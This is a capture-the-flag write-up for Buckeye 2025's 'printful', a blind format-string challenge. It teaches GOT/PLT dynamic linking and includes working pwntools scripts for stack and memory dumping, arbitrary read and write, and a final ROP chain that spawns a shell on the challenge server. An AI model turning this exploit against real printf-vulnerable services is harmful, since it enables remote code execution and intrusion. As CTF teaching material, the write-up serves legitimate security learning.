Understanding Dynamic Linking with Blind PWN
Buckeye 2025 was a really fun CTF with very interesting challenges. I was also very happy to see my team ranked #7 on the scoreboard.
printf
No files… 🙃
ncat --ssl printful.challs.pwnoh.io 1337
Analysis
There is really nothing to analyze for this challenge because there are NO attachments. This is a complete blind pwn. We can only make speculations and educated guesses based on the program’s behaviour by interacting with it through the ncat session.
This is an interactive program
1
2
3
$ ncat --ssl printful.challs.pwnoh.io 1337
Welcome to printful! Enter 'q' to quit
>
We can enter some text, and it will echo it back to us
1
2
3
4
5
> AAAA
AAAA
> 1234
1234
>
The obvious thing to do here would be look for format string Vulnerability. This is obvious because it is an echo program, and its name is “printful”, likely having to do something with printf(input).
Vulnerability
1
2
3
> %p-%p-%p-%p
0x563b6749100b-0x71-0xffffffff-0x7ffff9c37b80
>
And yes indeed, it is vulnerable to format string attacks.
If we give some recognisable inputs like AAAABBBB we will be able to see them in the stack dump as 0x4242424241414141.
1
2
3
> AAAABBBB-%p-%p-%p-%p-%p-%p-%p-%p
AAAABBBB-0x56423c22000b-0x71-0xfffeffff-0x7ffff334bbe0-(nil)-0x4242424241414141-0x252d70252d70252d-0x2d70252d70252d70
>
This confirms that our input is stored on the stack, and opens door for the classical arbitrary write primitive.
Exploit
If we somehow, magically, had a libc and stack leak. We could use this arbitrary write primitive to write a ROP chain at the saved return address and profit. However the main obstacle here is that we do not have those leaks (yet). So let’s try to dump the stack and hope to find something useful
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#!/usr/bin/env python3
from pwn import *
context.arch = 'amd64'
io = remote("printful.challs.pwnoh.io", 1337, ssl=True)
def query(payload, output_required=True):
io.sendlineafter(b'> ', payload)
data = b''
if output_required:
data = io.recvline()[:-1]
return data
def dump_stack(qwords = 0):
stack = {}
for i in range(qwords):
print(f'Quering stack [{i+1}/{qwords}]...', end='\r')
stack[i] = query(f'%{i}$p'.encode())
print('')
return stack
dump_stack(200)
__import__('pprint').pprint(stack)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
Quering stack [200/200]...
{0: b'%0$p',
1: b'0x55772971300b',
2: b'0x71',
3: b'0xffffffff',
4: b'0x7fff395236e0',
5: b'(nil)',
6: b'0xa70243625',
7: b'0x34000000340',
8: b'0x34000000340',
9: b'0x34000000340',
10: b'0x34000000340',
11: b'0x34000000340',
12: b'0x34000000340',
13: b'0x34000000340',
14: b'0x34000000340',
15: b'0x34000000340',
16: b'0x34000000340',
17: b'0x7f1077349e8d',
18: b'(nil)',
19: b'0x7f10774a86a0',
20: b'0x1',
21: b'0x7f10774a8723',
22: b'0xd68',
23: b'0x7f107734b951',
24: b'0xd68',
25: b'0xa',
26: b'0x7f10774a86a0',
27: b'0x557729713010',
28: b'0x557729715010',
29: b'0x7f10774a44a0',
30: b'(nil)',
31: b'0x7f107734be93',
32: b'0x26',
33: b'0x7f10774a86a0',
34: b'0x557729713010',
35: b'0x7f107733f59a',
36: b'0x557729712300',
37: b'0x7fff39523800',
38: b'0x557729712100',
39: b'0x8bd831e8c370c900',
40: b'0x7fff39523800',
41: b'0x5577297122de',
42: b'(nil)',
43: b'0x7f10772df083',
44: b'0x200000001',
45: b'0x7fff395238f8',
46: b'0x1774a37a0',
47: b'0x557729712283',
48: b'0x557729712300',
49: b'0xa1f601bf272a813d',
50: b'0x557729712100',
51: b'0x7fff395238f0',
52: b'(nil)',
53: b'(nil)',
54: b'0x5e08731b570a813d',
55: b'0x5fd6efe4c744813d',
56: b'(nil)',
57: b'(nil)',
58: b'(nil)',
59: b'0x1',
60: b'0x7fff395238f8',
61: b'0x7fff39523908',
62: b'0x7f10774e7190',
63: b'(nil)',
64: b'(nil)',
65: b'0x557729712100',
66: b'0x7fff395238f0',
67: b'(nil)',
68: b'(nil)',
69: b'0x55772971212e',
70: b'0x7fff395238e8',
71: b'0x1c',
72: b'0x1',
73: b'0x7fff39524fe6',
74: b'(nil)',
75: b'(nil)',
76: b'0x21',
77: b'0x7f10774b6000',
78: b'0x33',
79: b'0x6f0',
80: b'0x10',
81: b'0x178bfbff',
82: b'0x6',
83: b'0x1000',
84: b'0x11',
85: b'0x64',
86: b'0x3',
87: b'0x557729711040',
88: b'0x4',
89: b'0x38',
90: b'0x5',
91: b'0xd',
92: b'0x7',
93: b'0x7f10774b8000',
94: b'0x8',
95: b'(nil)',
96: b'0x9',
97: b'0x557729712100',
98: b'0xb',
99: b'0x3e8',
100: b'0xc',
101: b'0x3e8',
102: b'0xd',
103: b'0x3e8',
104: b'0xe',
105: b'0x3e8',
106: b'0x17',
107: b'(nil)',
108: b'0x19',
109: b'0x7fff39523a89',
110: b'0x1a',
111: b'0x2',
112: b'0x1f',
113: b'0x7fff39524fef',
114: b'0xf',
115: b'0x7fff39523a99',
116: b'0x1b',
117: b'0x1c',
118: b'0x1c',
119: b'0x20',
120: b'(nil)',
121: b'(nil)',
122: b'(nil)',
123: b'0xd831e8c370c98100',
124: b'0x9ed0fb00df93958b',
125: b'0x34365f36387840',
126: b'(nil)',
127: b'(nil)',
[...]
198: b'(nil)',
199: b'(nil)'}
So at the 6th qword we can observe 0xa70243625, which translates to %6$p\n. This is the our input, lying at the start of the current function’s stack frame.
If we follow along and look down, at 39th qword we observe 0x8bd831e8c370c900, which looks very much like a stack canary (because of the 8 LSB suspiciously being 00). So we know for sure that this challenge binary is compiled with stack protector. And if this is the canary and following the standard layout of the stack
1
2
3
4
5
6
7
+-------------------+
| canary |
+-------------------+
| saved RBP | <-- RBP of previous frame
+-------------------+
| saved RIP | <-- address to return to
+-------------------+
Then the next qword would be the saved base pointer of previous frame and next qword would be saved return address
1
2
=> saved RBP = 0x7fff39523800
=> saved RIP = 0x5577297122de
Another thing we can observe is that the return address is a full 6 byte canonical user-space address. Had it been a NO-PIE binary, it would have looked like 0x4014e. Which means we figured out another protection - compiled with PIE.
Also where exactly is previous frame base pointing to, that we can figure out by writing some dummy data and creating a new dump
1
2
3
4
5
6
7
8
9
...
saved_rbp = int(query(b'%40$p'), 16)
query(fmtstr_payload(6, {
saved_rbp: 0xcafebabe
}), output_required=False)
stack = dump_stack(50)
...
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Quering stack [50/50]...
{0: b'%0$p',
[...]
38: b'0x5608f73b3100',
39: b'0x6065ce8b11f4be00',
40: b'0x7ffe0e9274e0',
41: b'0x5608f73b32de',
42: b'0xcafebabe',
43: b'0x7f019d870083',
44: b'0x200000001',
45: b'0x7ffe0e9275d8',
46: b'0x19da347a0',
47: b'0x5608f73b3283',
48: b'0x5608f73b3300',
49: b'0xe644226afe50ed51'}
So offset 42 turns out to be the address pointed by saved RBP. This means that the next qword would be another return address. This time it looks like 0x7f019d870083. Starting with 0x7f instead of 0x55 likely means that this was the stack frame of main and is now returning to __libc_start_main_ret+XX.
TLDR: 43th qword gives libc leak. But since we do not know which libc version this binary uses, it’s not very helpful (at least as of now).
If you are wondering why did we not observe another canary in
main’s stack frame. That’s because it does not store any data on the stack. And the compiler only introduces the canary if a function uses more than 8 bytes of stack buffer space.
So the goal is very clear. If we can determine the exact libc version, then with 43th qword leak, we will be able to get the base address dynamically, and use it to build our ROP chain. As a bonus, we have already found a stack leak with 40th qword leak, so we know where exactly to write to.
How do we leak libc? Typically you would need to leak at least 2 known addresses and use a libc database like libc.blukat.me, or libc.rip. However the problem we face is that we do not have 2 reliable leaks here.
You could probably do it with just 1 leak from
__libc_start_main_ret+XX, but this is somewhat unreliable, and I personally don’t like it very much
Imagine if you had the challenge binary with you, what would you do in that situation? Well, since we already have a PIE leak from the stack (the return address into main+XX), this means that we could read any address in the loaded ELF. Is there any address in the loaded ELF segments which contain an address to libc? Yes there are! stdin, stdout and stderr are all FILE * which point to internal libc structures _IO_2_1_stdin_, _IO_2_1_stdout_ and _IO_2_1_stderr_ respectively. But even if we ignore them, there is still the Global Offset Table.
Dynamic Linking
Whenever you compile a C program and use functions from the standard library, those need to be included in your program. There are 2 ways to achieve this
Static Linking - In static linking the compiler will include the machine code bytes for all the functions used from the standard library directly into your ELF program, ensuring no dependency exists on the system. This is great to make binaries portable and ensure they run on every system without conflicting with different versions of standard libraries. The downside is you get really big compiled ELF files.
Dynamic Linking - Dynamic Linking is the other way to include functions definitions in your program without actually including the raw machine code bytes. This is also the default linking method by the
GCCcompiler. What happens in this case is that, the ELF is compiled to store placeholder to external addresses which are filled at runtime by the linker. Two main structures used for dynamic linking are Global Offset Table (GOT) and Procedure Linkage Table (PLT).
- Global Offset Table
The GOT is a table in memory that holds addresses of functions used by the program. When a program calls a function that is not a part of its own code (via shared library), a placeholder address is held in the GOT entry for that function.
- Procedure Linkage Table
The PLT is a mechanism that acts as a jump table to call external functions. When an external function is called, the call is made to the PLT entry. The PLT entry will point to a resolver stub by default. The stub calls the dynamic linker to resolve the address and updates the GOT with the correct address, so that next time the address can be fetched directly from the GOT.
You can look at these tables using readelf
1
2
3
4
5
6
#include <stdio.h>
#include <stdlib.h>
int main() {
puts("HELLO");
exit(0);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
$ gcc prog.c -g
$ readelf -a a.out
ELF Header:
Magic: 7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00
Class: ELF64
Data: 2's complement, little endian
Version: 1 (current)
[...]
[ 5] .dynsym DYNSYM 00000000000003f0 000003f0
00000000000000c0 0000000000000018 A 6 1 8
[ 6] .dynstr STRTAB 00000000000004b0 000004b0
0000000000000092 0000000000000000 A 0 0 1
[...]
[12] .plt PROGBITS 0000000000001020 00001020
0000000000000030 0000000000000010 AX 0 0 16
[...]
[21] .dynamic DYNAMIC 0000000000003de0 00002de0
00000000000001e0 0000000000000010 WA 6 0 8
[22] .got PROGBITS 0000000000003fc0 00002fc0
0000000000000028 0000000000000008 WA 0 0 8
[23] .got.plt PROGBITS 0000000000003fe8 00002fe8
0000000000000028 0000000000000008 WA 0 0 8
[...]
[33] .symtab SYMTAB 0000000000000000 000032f8
0000000000000258 0000000000000018 34 6 8
[34] .strtab STRTAB 0000000000000000 00003550
0000000000000137 0000000000000000 0 0 1
[...]
Relocation section '.rela.plt' at offset 0x648 contains 2 entries:
Offset Info Type Sym. Value Sym. Name + Addend
000000004000 000300000007 R_X86_64_JUMP_SLO 0000000000000000 puts@GLIBC_2.2.5 + 0
000000004008 000500000007 R_X86_64_JUMP_SLO 0000000000000000 exit@GLIBC_2.2.5 + 0
No processor specific unwind information to decode
Symbol table '.dynsym' contains 8 entries:
Num: Value Size Type Bind Vis Ndx Name
0: 0000000000000000 0 NOTYPE LOCAL DEFAULT UND
1: 0000000000000000 0 FUNC GLOBAL DEFAULT UND _[...]@GLIBC_2.34 (2)
2: 0000000000000000 0 NOTYPE WEAK DEFAULT UND _ITM_deregisterT[...]
3: 0000000000000000 0 FUNC GLOBAL DEFAULT UND puts@GLIBC_2.2.5 (3)
4: 0000000000000000 0 NOTYPE WEAK DEFAULT UND __gmon_start__
5: 0000000000000000 0 FUNC GLOBAL DEFAULT UND exit@GLIBC_2.2.5 (3)
6: 0000000000000000 0 NOTYPE WEAK DEFAULT UND _ITM_registerTMC[...]
7: 0000000000000000 0 FUNC WEAK DEFAULT UND [...]@GLIBC_2.2.5 (3)
[...]
The most important information is this
1
2
3
4
Relocation section '.rela.plt' at offset 0x648 contains 2 entries:
Offset Info Type Sym. Value Sym. Name + Addend
000000004000 000300000007 R_X86_64_JUMP_SLO 0000000000000000 puts@GLIBC_2.2.5 + 0
000000004008 000500000007 R_X86_64_JUMP_SLO 0000000000000000 exit@GLIBC_2.2.5 + 0
The 000300000007 and 000500000007 are parsed from the .rela.plt section. The 7 in lower dword means it is external symbol (I think). And 3 and 5 means that you can find info regarding this in the .dynsym table at index [3] and [5] respectively. Finally the 000000004000 and 000000004008 mean that the GOT entry (resolved address) will be stored at 0x4000 and 0x4008 offset from the PIE base.
These sections are themselves located in a RO page before the executable segment. Since 1 page is a lot to leak at once, we will likely need to leak it out in chunks. And in the following section
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
def dump_memory(addr, sz):
data = b''
while len(data) < sz:
print(f'Dumping ...{len(data)}/{sz}', end='\r')
if b'\n' in p64(addr):
extracted = b'?'
else:
extracted = arb_read(addr)
if extracted == b'':
extracted = b'\x00'
data += extracted
addr += len(extracted)
return data[:sz]
saved_rbp = int(query(b'%40$p'), 16)
query(fmtstr_payload(6, {
saved_rbp: 0xcafebabe
}), output_required=False)
# stack = dump_stack(50)
# __import__('pprint').pprint(stack)
main_addr = int(query(b'%47$p'), 16)
page_mask = ((1 << 64) - 1) >> 12 << 12
exc_region = main_addr & page_mask
binary_base = exc_region - 0x1000
data = dump_memory(binary_base+0x300, 0x500)
for i in range(0, len(data), 8):
print('\t', hex(i), '\t\t', hex(u64(data[i:i+8])))
...
will dump .dymsym, .dynstr and .rela.plt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
0x8 0x3f0270
0x10 0x1
[...]
0xe8 0x2000000081
0xf0 0x0
0xf8 0x0
0x100 0x120000000b
0x108 0x3f0000
0x110 0x0
0x118 0x1200000010
0x120 0x0
0x128 0x0
0x130 0x1200000027
0x138 0x0
0x140 0x0
0x148 0x1200000059
0x150 0x0
0x158 0x0
0x160 0x120000002e
0x168 0x0
0x170 0x0
0x178 0x1200000052
0x180 0x0
0x188 0x0
0x190 0x200000009d
0x198 0x0
0x1a0 0x0
0x1a8 0x120000004a
0x1b0 0x0
0x1b8 0x0
0x1c0 0x20000000ac
0x1c8 0x0
0x1d0 0x0
0x1d8 0x1a001100000034
0x1e0 0x4010
0x1e8 0x8
0x1f0 0x220000003b
0x1f8 0x0
0x200 0x0
0x208 0x1a0011003f0021
0x210 0x4020
0x218 0x8
0x220 0x6f732e6362696c00
0x228 0x7374757000362e
0x230 0x5f6b636174735f5f
0x238 0x6c6961665f6b6863
0x240 0x70006e6964747300
0x248 0x67660066746e6972
0x250 0x6f64747300737465
0x258 0x6178635f5f007475
0x260 0x7a696c616e69665f
0x268 0x7562767465730065
0x270 0x706d637274730066
0x278 0x5f6362696c5f5f00
0x280 0x616d5f7472617473
0x288 0x4342494c47006e69
0x290 0x494c4700342e325f
0x298 0x352e322e325f4342
0x2a0 0x65645f4d54495f00
0x2a8 0x7265747369676572
0x2b0 0x54656e6f6c434d54
0x2b8 0x675f5f00656c6261
0x2c0 0x726174735f6e6f6d
0x2c8 0x4d54495f005f5f74
0x2d0 0x657473696765725f
0x2d8 0x656e6f6c434d5472
0x2e0 0x656c626154
0x2e8 0x2000300020000
0x2f0 0x200020002
0x2f8 0x2000200000002
0x300 0x2
0x308 0x1003f0001
0x310 0x10
0x318 0x300000d696914
0x320 0x100000006b
0x328 0x2000009691a75
0x330 0x75
0x338 0x3d90
0x340 0x8
0x348 0x11e0
0x350 0x3d98
0x358 0x8
0x360 0x11a0
0x368 0x4008
0x370 0x8
0x378 0x4008
0x380 0x3fd8
0x388 0x100000006
0x390 0x0
0x398 0x3fe0
0x3a0 0x500000006
0x3a8 0x0
0x3b0 0x3fe8
0x3b8 0x800000006
0x3c0 0x0
0x3c8 0x3ff0
0x3d0 0xa00000006
0x3d8 0x0
0x3e0 0x3ff8
0x3e8 0xc00000006
0x3f0 0x0
0x3f8 0x4010
0x400 0xb00000005
0x408 0x3f0000
0x410 0x4020
0x418 0xd00000005
0x420 0x0
0x428 0x3fa8
0x430 0x200000007
0x438 0x0
0x440 0x3fb0
0x448 0x300000007
0x450 0x0
0x458 0x3fb8
0x460 0x400000007
0x468 0x0
0x470 0x3fc0
0x478 0x600000007
0x480 0x0
0x488 0x3fc8
0x490 0x700000007
0x498 0x0
0x4a0 0x3fd0
0x4a8 0x900000007
0x4b0 0x0
[...]
0x4f8 0x0
The following is a snippet from .rela.plt dump
1
2
3
4
5
6
7
0x420 0x0
0x428 0x3fa8
0x430 0x200000007
0x438 0x0
0x440 0x3fb0
0x448 0x300000007
0x450 0x0
This declares 2 external functions ( indicated by the 7 in lower dword ):
- It’s GOT entry can be found @
PIE BASE + 0x3fa8. More information, like symbol name can be found at index2of the.dynsymtable. - It’s GOT entry can be found @
PIE BASE + 0x3fb0. More information, like symbol name can be found at index3of the.dynsymtable.
The .dynsym can be found in the dump at offset 0xe8
1
2
3
4
5
6
7
8
9
10
0xe8 0x2000000081
0xf0 0x0
0xf8 0x0
0x100 0x120000000b
0x108 0x3f0000
0x110 0x0
0x118 0x1200000010
0x120 0x0
0x128 0x0
Index [2] means 0x120000000b and index [3] means 0x1200000010. Those lower dword of this value represents the offset into .dynstr where the symbol name for this external function.
More precisely, .dynstr + 0x0b is the symbol name, and its resolved address will be stored at PIE BASE + 0x3fa8. Similarly .dynstr + 0x10 is the symbol name, and its resolved address will be stored at PIE BASE + 0x3fb0.
.dynstr starts at offset 0x220 in the dump. Here’s how I extracted it
1
2
3
4
5
6
In [2]: func1_name = dump[0x220 + 0x0b : 0x220 + 0x0b + 20]
In [3]: func2_name = dump[0x220 + 0x10 : 0x220 + 0x10 + 20]
In [4]: func1_name, func2_name
Out[4]: (b'puts\x00__stack_chk_fai', b'__stack_chk_fail\x00std')
So the two functions are puts() and __stack_chk_fail(), and they have their resolved address stored in the GOT, which can be found at PIE BASE + 0x3fa8 and PIE BASE + 0x3fb0 respectively. Let’s try to dump them.
1
2
3
4
5
6
7
8
9
10
[...]
# data = dump_memory(binary_base+0x300, 0x500)
# for i in range(0, len(data), 8):
# print('\t', hex(i), '\t\t', hex(u64(data[i:i+8])))
print('puts @', hex(u64(dump_memory(binary_base + 0x3fa8, 8))))
print('__stack_chk_fail @', hex(u64(dump_memory(binary_base + 0x3fb0, 8))))
[...]
And here is the output
1
2
puts @ 0x7fb320ebe420
__stack_chk_fail @ 0x7fb320f69c90
By searching for these values on a libc database, we can infer that the remote instance uses libc 2.31.
That was all the heavy work. Now we can simply leak the libc return address from the stack as discussed before and use it to calculate libc base at runtime.
After that we can overwrite the saved return pointer with a ROP chain and profit.
So finally here is the final solve script which works on remote:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
#!/usr/bin/env python3
from pwn import *
context.arch = 'amd64'
libc = ELF('./libc.so.6')
io = remote("printful.challs.pwnoh.io", 1337, ssl=True)
def query(payload, output_required=True):
io.sendlineafter(b'> ', payload)
data = b''
if output_required:
data = io.recvline()[:-1]
return data
def dump_stack(qwords = 0):
stack = {}
for i in range(qwords):
print(f'Quering stack [{i+1}/{qwords}]...', end='\r')
stack[i] = query(f'%{i}$p'.encode())
print('')
return stack
def arb_write(where, what):
payload = fmtstr_payload(6, {
where: what
})
query(payload, output_required=False)
def arb_read(where):
payload = flat({
0: b'%7$s#',
8: where
})
query(payload, output_required=False)
data = io.recvuntil(b'#')[:-1]
return data
def dump_memory(addr, sz):
data = b''
while len(data) < sz:
print(f'Dumping ...{len(data)}/{sz}', end='\r')
if b'\n' in p64(addr):
extracted = b'?'
else:
extracted = arb_read(addr)
if extracted == b'':
extracted = b'\x00'
data += extracted
addr += len(extracted)
return data[:sz]
saved_rbp = int(query(b'%40$p'), 16)
query(fmtstr_payload(6, {
saved_rbp: 0xcafebabe
}), output_required=False)
# stack = dump_stack(50)
# __import__('pprint').pprint(stack)
main_addr = int(query(b'%47$p'), 16)
page_mask = ((1 << 64) - 1) >> 12 << 12
exc_region = main_addr & page_mask
binary_base = exc_region - 0x1000
# data = dump_memory(binary_base+0x300, 0x500)
# for i in range(0, len(data), 8):
# print('\t', hex(i), '\t\t', hex(u64(data[i:i+8])))
# print('puts @', hex(u64(dump_memory(binary_base + 0x3fa8, 8))))
# print('__stack_chk_fail @', hex(u64(dump_memory(binary_base + 0x3fb0, 8))))
rop_start_loc = saved_rbp + 8
log.info(f'{hex(saved_rbp) = }')
log.info(f'{hex(main_addr) = }')
log.info(f'{hex(exc_region) = }')
log.success(f'{hex(binary_base) = }')
log.success(f'{hex(rop_start_loc) = }')
orig_ret_addr = u64(arb_read(rop_start_loc).ljust(8, b'\x00'))
libc.address = orig_ret_addr - 0x24083
log.info(f'{hex(orig_ret_addr) = }')
log.success(f'{hex(libc.address) = }')
rop = ROP(libc)
rop.raw(rop.find_gadget(['ret']).address)
rop.system(next(libc.search(b'/bin/sh\x00')))
print(rop.dump())
chain = rop.chain()
for i in range(0, len(chain), 8):
chunk = chain[i:i+8]
arb_write(rop_start_loc+i, chunk)
query(b'q')
io.interactive()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
$ printful ./solve.py
[*] '/home/vulnx/ctf/buckeye/pwn/printful/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
[+] Opening connection to printful.challs.pwnoh.io on port 1337: Done
[*] hex(saved_rbp) = '0x7ffc85a4dab0'
[*] hex(main_addr) = '0x564597d2d283'
[*] hex(exc_region) = '0x564597d2d000'
[+] hex(binary_base) = '0x564597d2c000'
[+] hex(rop_start_loc) = '0x7ffc85a4dab8'
[*] hex(orig_ret_addr) = '0x7f995106a083'
[+] hex(libc.address) = '0x7f9951046000'
[*] Loaded 195 cached gadgets for './libc.so.6'
0x0000: 0x7f9951068679 ret
0x0008: 0x7f9951069b6a pop rdi; ret
0x0010: 0x7f99511fa5bd [arg0] rdi = 140296467752381
0x0018: 0x7f9951098290 system
[*] Switching to interactive mode
$ ls
flag.txt
run
$ whoami
whoami: cannot find name for user ID 1000
$ cat flag.txt
bctf{t15_a_g1ft_t0_b3_pr1n7ful_731066c9c5cc}
Thanks for reading! If you have any questions, feel free to reach out to me at discord, my handle is vulnx.